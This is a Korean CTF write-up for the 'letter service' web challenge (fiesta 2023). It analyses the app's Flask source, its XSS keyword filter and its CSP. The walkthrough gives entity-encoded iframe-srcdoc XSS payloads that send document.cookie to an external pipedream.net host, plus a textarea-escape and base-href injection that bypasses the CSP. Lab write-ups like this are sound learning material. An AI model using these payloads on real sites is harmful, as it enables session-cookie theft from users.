security/웹해킹

[fiesta 2023] letter service

민사민서 2023. 9. 11. 13:58

python Flask + Nginx + MariaDB 조합

 

* utilites/__init__.py 보면 read_letter()에서 FLAG가 담긴 쿠키와 함께 특정 url에 접속 => XSS trigger 필요

def read_letter(url): 
    try:
        FLAG = os.environ.get('FLAG')
    except:
        FLAG = 'fiesta{**redact**}'

    cookie = {"name": "FLAG", "value": f"{FLAG}"}
    cookie.update({"domain": "127.0.0.1", "path": "/"})
    chrome_options = ChromeOptions()
    CREDENTIALS = {
        "email": "ef9a2d554146d1799d11d82982736ceb@exmaple.com",
        "password": "b1c64b43724cec92b1a70dff8c38f917b6ba812129c8d00ba8b97037d6a68f9a"
    }

    for _ in ["--headless", "--window-size=1920x1080", "--no-sandbox"]:
        chrome_options.add_argument(_)

    driver = webdriver.Chrome(service=Service(executable_path='/usr/src/app/chromedriver'), options=chrome_options)
    try:
        driver.get("http://127.0.0.1:10000/login")
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)

        driver.find_element(By.ID, 'email').send_keys(CREDENTIALS['email'])
        driver.find_element(By.ID, 'password').send_keys(CREDENTIALS['password'])
        driver.find_element(By.XPATH, '/html/body/main/div/form/button').click()

        alert = WebDriverWait(driver, 5).until(EC.alert_is_present())
        if alert:
            alert_data = Alert(driver)
            alert_data.accept()

        driver.get("http://127.0.0.1:10000/")
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)

        driver.add_cookie(cookie)

        driver.get("http://127.0.0.1:10000" + url)

        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
    except Exception as e:
        print("Exception: ", e, flush=True)
        driver.quit()
        return False
    driver.quit()
    return True

 

* app.py 보면 /write 엔드포인트로 POST 요청 보낼 때 read_letter() 호출 이뤄짐 (letter 작성 시 admin이 확인하는 느낌)

@app.post('/write')
def write_post():
    if 'email' not in session or 'uid' not in session:
        return render_template('index.html', error='login first')

    try:
        email = request.form.get('email')
        text = request.form.get('text')

        if not check_invalid_email(email):
            return redirect(url_for('main', error='invalid email'))

        if not check_invalid_letters(text):
            return redirect(url_for('main', error='invalid letter'))

        if not create_letter(data={'email': email, 'text': text}):
            return redirect(url_for('main', error='save error'))

        letter_id = get_letter_non_check(uid=session['uid'])[0]

        if letter_id == -1:
            return redirect(url_for('main', error='ERROR'))

        if not read_letter(url=f'/letter/{letter_id}'): # 해당 url로 접속 (w/ flag cookie)
            return redirect(url_for('main', error='ERROR'))

        return redirect(url_for('main', error='Send Letter'))
    except Exception as e:
        print("create letter error:", e, flush=True)
        return redirect(url_for('main', error='ERROR'))

- 이메일 유효한 형식인지 필터링

- letter 유효한 형식인지 파악 => 키워드 기반 XSS 필터링 걸려있더라

def check_invalid_letters(letters: str):
    FILTER_KEYWORD = ['script', 'javascript', "window", "on", "img", "document.", ".cookie", "this", "self"]

    for keyword in FILTER_KEYWORD:
        if keyword in letters.lower():
            return False

    return True

 

* /letter/[letter num] 엔드포인트에 접속 시 admin인지 확인하고 view.html을 렌더링해준다

@app.get('/letter/<int:letter_id>')
def letter_view(letter_id):
    global NONCE
    if 'email' not in session or 'uid' not in session or 'permission' not in session or session['permission'] != 1:
        return render_template('index.html', error='not admin', nonce=NONCE)

# omit function body

        return render_template('view.html', letter=letter, nonce=NONCE)
    except:
        return redirect(url_for('main', error='Not Found'))

 

* view.html은 XSS 취약점 존재한다 

        <div class="mb-3">
            <label for="text" class="form-label">Write Letter</label>
            <textarea class="form-control" id="text" name="text" rows="5" readonly>{{ letter[1] |safe }}</textarea> <!-- xss 취약점 발생 -->
        </div>

python jinja2 템플릿에서 "| safe" 사용 시 escape 이루어지지 x = dangerous 문자들이 html entities들로 변환되지 x

 

시도 1) xss filtering 우회하여 payload 구현

<iframe srcdoc='<i&#109;g src=`./xxxxx` o&#110;error=locatio&#110;.href=`https://enzxig5im13lb.x.pipedream.net?`+(document[`cookie`])>'></iframe>
<iframe srcdoc='<scr&#105;pt>locatio&#110;.href=`https://enzxig5im13lb.x.pipedream.net?`+(document[`cookie`])</scr&#105;pt>'></iframe>

- iframe srcdoc: <iframe> 요소에 보일 웹 페이지의 HTML 코드를 명시

- html entities encoding 을 통해 각종 키워드 우회 가능

 

문제 1. CSP 걸려있어서 script 실행 불가능

@app.after_request
def after_request_csp(response):
    global NONCE
    response.headers.add('Content-security-Policy',
                         f"script-src 'strict-dynamic' 'nonce-{NONCE}' 'unsafe-inline' http: https:; object-src 'none'; style-src 'self'; object-src 'none'; img-src 'self'; "
                         f"require-trusted-types-for 'script';")
    return response

- 'unsafe-inline' 과 'none' 있어서 (NONCE는 globally fixed) 스크립트 실행 가능할 줄 알았는데

- 'strict-dynamic' 결과 unsafe-inline 및 http: https: 같은 allowlist 기반 정책들 무시됨 => 즉 올바른 NONCE 값과 함께 script 파일을 로드해오는 식으로 exploit 해야함

https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src

 

CSP: script-src - HTTP | MDN

The HTTP Content-Security-Policy (CSP) script-src directive specifies valid sources for JavaScript. This includes not only URLs loaded directly into <script> elements, but also things like inline script event handlers (onclick) and XSLT stylesheets which c

developer.mozilla.org

 

문제 2. textarea 내부의 내용이 HTML Tag가 아닌 일반 text로 해석됨

- csp 우회해도 exploit 안되길래 docker-compose build --no-cache / docker-compose up 해서 문제 환경 구축

(없앨 땐 down, --no-cache 옵션 부여해야 기존 docker 내용들 다 지워짐)

(물론 /letter/<letter_id> 접근 시 admin 검사하는 루틴 제거하여 xss trigger 되는지 확인)

- letter/1 들가서 xss 동작하나 테스트해봤더니 웬걸 그냥 일반 텍스트로 해석된 듯

 

<textarea class="form-control" id="text" name="text" rows="5">
    <iframe srcdoc='<scr&#105;pt no&#110;ce=`d9b667289258abee684c506d32fe99bdac36fe36a31241d96599a6df7019da07`>locatio&#110;.href=`https://enzxig5im13lb.x.pipedream.net?`+(document[`cookie`])</scr&#105;pt>'></iframe>
</textarea>

이렇게 테스트해봤더니 

textarea 내부의 내용은 단순 문자열로 취급됨, 즉 textarea 태그를 닫고 payload 작성 후 다시 여는 식으로 해결

 

어느 엔드포인트에 접속해도 script가 로드되는데 이거 base-uri 조작을 통해 해결할 수 있겠다

 

</textarea><base href="https://minseo25.github.io/"><textarea>

이런식으로 내용을 보내면 되겠다.

내 깃헙 서버에 해당하는 경로에 csrf payload 담긴 코드 업로드해두면 해결~